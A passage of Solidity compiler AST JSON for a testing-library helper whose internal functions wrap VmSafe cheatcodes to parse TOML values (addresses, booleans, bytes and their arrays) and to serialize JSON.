memory"}],"expression":{"id":10776,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"2250:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10777,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2253:16:10","memberName":"parseTomlAddress","nodeType":"MemberAccess","referencedDeclaration":14724,"src":"2250:19:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory,string memory) pure external returns (address)"}},"id":10780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2250:30:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":10775,"id":10781,"nodeType":"Return","src":"2243:37:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readAddress","nameLocation":"2150:11:10","parameters":{"id":10772,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10769,"mutability":"mutable","name":"toml","nameLocation":"2176:4:10","nodeType":"VariableDeclaration","scope":10783,"src":"2162:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10768,"name":"string","nodeType":"ElementaryTypeName","src":"2162:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10771,"mutability":"mutable","name":"key","nameLocation":"2196:3:10","nodeType":"VariableDeclaration","scope":10783,"src":"2182:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10770,"name":"string","nodeType":"ElementaryTypeName","src":"2182:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2161:39:10"},"returnParameters":{"id":10775,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10774,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10783,"src":"2224:7:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":10773,"name":"address","nodeType":"ElementaryTypeName","src":"2224:7:10","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2223:9:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10800,"nodeType":"FunctionDefinition","src":"2293:165:10","nodes":[],"body":{"id":10799,"nodeType":"Block","src":"2399:59:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10795,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10785,"src":"2441:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10796,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10787,"src":"2447:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10793,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"2416:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10794,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2419:21:10","memberName":"parseTomlAddressArray","nodeType":"MemberAccess","referencedDeclaration":14735,"src":"2416:24:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_address_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (address[] memory)"}},"id":10797,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2416:35:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"functionReturnParameters":10792,"id":10798,"nodeType":"Return","src":"2409:42:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readAddressArray","nameLocation":"2302:16:10","parameters":{"id":10788,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10785,"mutability":"mutable","name":"toml","nameLocation":"2333:4:10","nodeType":"VariableDeclaration","scope":10800,"src":"2319:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10784,"name":"string","nodeType":"ElementaryTypeName","src":"2319:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10787,"mutability":"mutable","name":"key","nameLocation":"2353:3:10","nodeType":"VariableDeclaration","scope":10800,"src":"2339:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10786,"name":"string","nodeType":"ElementaryTypeName","src":"2339:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2318:39:10"},"returnParameters":{"id":10792,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10791,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10800,"src":"2381:16:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":10789,"name":"address","nodeType":"ElementaryTypeName","src":"2381:7:10","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":10790,"nodeType":"ArrayTypeName","src":"2381:9:10","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"2380:18:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10816,"nodeType":"FunctionDefinition","src":"2464:137:10","nodes":[],"body":{"id":10815,"nodeType":"Block","src":"2550:51:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10811,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10802,"src":"2584:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10812,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10804,"src":"2590:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10809,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"2567:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10810,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2570:13:10","memberName":"parseTomlBool","nodeType":"MemberAccess","referencedDeclaration":14745,"src":"2567:16:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bool_$","typeString":"function (string memory,string memory) pure external returns (bool)"}},"id":10813,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2567:27:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":10808,"id":10814,"nodeType":"Return","src":"2560:34:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBool","nameLocation":"2473:8:10","parameters":{"id":10805,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10802,"mutability":"mutable","name":"toml","nameLocation":"2496:4:10","nodeType":"VariableDeclaration","scope":10816,"src":"2482:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10801,"name":"string","nodeType":"ElementaryTypeName","src":"2482:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10804,"mutability":"mutable","name":"key","nameLocation":"2516:3:10","nodeType":"VariableDeclaration","scope":10816,"src":"2502:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10803,"name":"string","nodeType":"ElementaryTypeName","src":"2502:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2481:39:10"},"returnParameters":{"id":10808,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10807,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10816,"src":"2544:4:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":10806,"name":"bool","nodeType":"ElementaryTypeName","src":"2544:4:10","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2543:6:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10833,"nodeType":"FunctionDefinition","src":"2607:156:10","nodes":[],"body":{"id":10832,"nodeType":"Block","src":"2707:56:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10828,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10818,"src":"2746:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10829,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10820,"src":"2752:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10826,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"2724:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10827,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2727:18:10","memberName":"parseTomlBoolArray","nodeType":"MemberAccess","referencedDeclaration":14756,"src":"2724:21:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_bool_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bool[] memory)"}},"id":10830,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2724:32:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}},"functionReturnParameters":10825,"id":10831,"nodeType":"Return","src":"2717:39:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBoolArray","nameLocation":"2616:13:10","parameters":{"id":10821,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10818,"mutability":"mutable","name":"toml","nameLocation":"2644:4:10","nodeType":"VariableDeclaration","scope":10833,"src":"2630:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10817,"name":"string","nodeType":"ElementaryTypeName","src":"2630:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10820,"mutability":"mutable","name":"key","nameLocation":"2664:3:10","nodeType":"VariableDeclaration","scope":10833,"src":"2650:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10819,"name":"string","nodeType":"ElementaryTypeName","src":"2650:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2629:39:10"},"returnParameters":{"id":10825,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10824,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10833,"src":"2692:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":10822,"name":"bool","nodeType":"ElementaryTypeName","src":"2692:4:10","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":10823,"nodeType":"ArrayTypeName","src":"2692:6:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"2691:15:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10849,"nodeType":"FunctionDefinition","src":"2769:147:10","nodes":[],"body":{"id":10848,"nodeType":"Block","src":"2864:52:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10844,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10835,"src":"2899:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10845,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10837,"src":"2905:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10842,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"2881:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10843,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2884:14:10","memberName":"parseTomlBytes","nodeType":"MemberAccess","referencedDeclaration":14766,"src":"2881:17:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":10846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2881:28:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":10841,"id":10847,"nodeType":"Return","src":"2874:35:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBytes","nameLocation":"2778:9:10","parameters":{"id":10838,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10835,"mutability":"mutable","name":"toml","nameLocation":"2802:4:10","nodeType":"VariableDeclaration","scope":10849,"src":"2788:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10834,"name":"string","nodeType":"ElementaryTypeName","src":"2788:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10837,"mutability":"mutable","name":"key","nameLocation":"2822:3:10","nodeType":"VariableDeclaration","scope":10849,"src":"2808:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10836,"name":"string","nodeType":"ElementaryTypeName","src":"2808:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2787:39:10"},"returnParameters":{"id":10841,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10840,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10849,"src":"2850:12:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":10839,"name":"bytes","nodeType":"ElementaryTypeName","src":"2850:5:10","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2849:14:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10866,"nodeType":"FunctionDefinition","src":"2922:159:10","nodes":[],"body":{"id":10865,"nodeType":"Block","src":"3024:57:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10861,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10851,"src":"3064:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10862,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10853,"src":"3070:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10859,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"3041:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10860,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3044:19:10","memberName":"parseTomlBytesArray","nodeType":"MemberAccess","referencedDeclaration":14798,"src":"3041:22:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory[] memory)"}},"id":10863,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3041:33:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},"functionReturnParameters":10858,"id":10864,"nodeType":"Return","src":"3034:40:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBytesArray","nameLocation":"2931:14:10","parameters":{"id":10854,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10851,"mutability":"mutable","name":"toml","nameLocation":"2960:4:10","nodeType":"VariableDeclaration","scope":10866,"src":"2946:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10850,"name":"string","nodeType":"ElementaryTypeName","src":"2946:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10853,"mutability":"mutable","name":"key","nameLocation":"2980:3:10","nodeType":"VariableDeclaration","scope":10866,"src":"2966:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10852,"name":"string","nodeType":"ElementaryTypeName","src":"2966:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2945:39:10"},"returnParameters":{"id":10858,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10857,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10866,"src":"3008:14:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":10855,"name":"bytes","nodeType":"ElementaryTypeName","src":"3008:5:10","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":10856,"nodeType":"ArrayTypeName","src":"3008:7:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"3007:16:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10882,"nodeType":"FunctionDefinition","src":"3087:162:10","nodes":[],"body":{"id":10881,"nodeType":"Block","src":"3188:61:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10877,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10868,"src":"3222:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10878,"name":"rootObject","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10870,"src":"3231:10:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10875,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"3205:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10876,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3208:13:10","memberName":"serializeJson","nodeType":"MemberAccess","referencedDeclaration":13218,"src":"3205:16:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) external returns (string memory)"}},"id":10879,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3205:37:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10874,"id":10880,"nodeType":"Return","src":"3198:44:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3096:9:10","parameters":{"id":10871,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10868,"mutability":"mutable","name":"jsonKey","nameLocation":"3120:7:10","nodeType":"VariableDeclaration","scope":10882,"src":"3106:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10867,"name":"string","nodeType":"ElementaryTypeName","src":"3106:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10870,"mutability":"mutable","name":"rootObject","nameLocation":"3143:10:10","nodeType":"VariableDeclaration","scope":10882,"src":"3129:24:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10869,"name":"string","nodeType":"ElementaryTypeName","src":"3129:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3105:49:10"},"returnParameters":{"id":10874,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10873,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10882,"src":"3173:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10872,"name":"string","nodeType":"ElementaryTypeName","src":"3173:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3172:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":10901,"nodeType":"FunctionDefinition","src":"3255:167:10","nodes":[],"body":{"id":10900,"nodeType":"Block","src":"3361:61:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10895,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10884,"src":"3395:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10896,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10886,"src":"3404:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10897,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10888,"src":"3409:5:10","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":10893,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"3378:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10894,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3381:13:10","memberName":"serializeBool","nodeType":"MemberAccess","referencedDeclaration":13120,"src":"3378:16:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bool) external returns (string memory)"}},"id":10898,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3378:37:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10892,"id":10899,"nodeType":"Return","src":"3371:44:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3264:9:10","parameters":{"id":10889,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10884,"mutability":"mutable","name":"jsonKey","nameLocation":"3288:7:10","nodeType":"VariableDeclaration","scope":10901,"src":"3274:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10883,"name":"string","nodeType":"ElementaryTypeName","src":"3274:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10886,"mutability":"mutable","name":"key","nameLocation":"3311:3:10","nodeType":"VariableDeclaration","scope":10901,"src":"3297:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10885,"name":"string","nodeType":"ElementaryTypeName","src":"3297:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10888,"mutability":"mutable","name":"value","nameLocation":"3321:5:10","nodeType":"VariableDeclaration","scope":10901,"src":"3316:10:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":10887,"name":"bool","nodeType":"ElementaryTypeName","src":"3316:4:10","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3273:54:10"},"returnParameters":{"id":10892,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10891,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10901,"src":"3346:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10890,"name":"string","nodeType":"ElementaryTypeName","src":"3346:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3345:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":10921,"nodeType":"FunctionDefinition","src":"3428:196:10","nodes":[],"body":{"id":10920,"nodeType":"Block","src":"3563:61:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10915,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10903,"src":"3597:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10916,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10905,"src":"3606:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10917,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10908,"src":"3611:5:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}],"expression":{"id":10913,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"3580:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10914,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3583:13:10","memberName":"serializeBool","nodeType":"MemberAccess","referencedDeclaration":13133,"src":"3580:16:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_bool_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bool[] memory) external returns (string 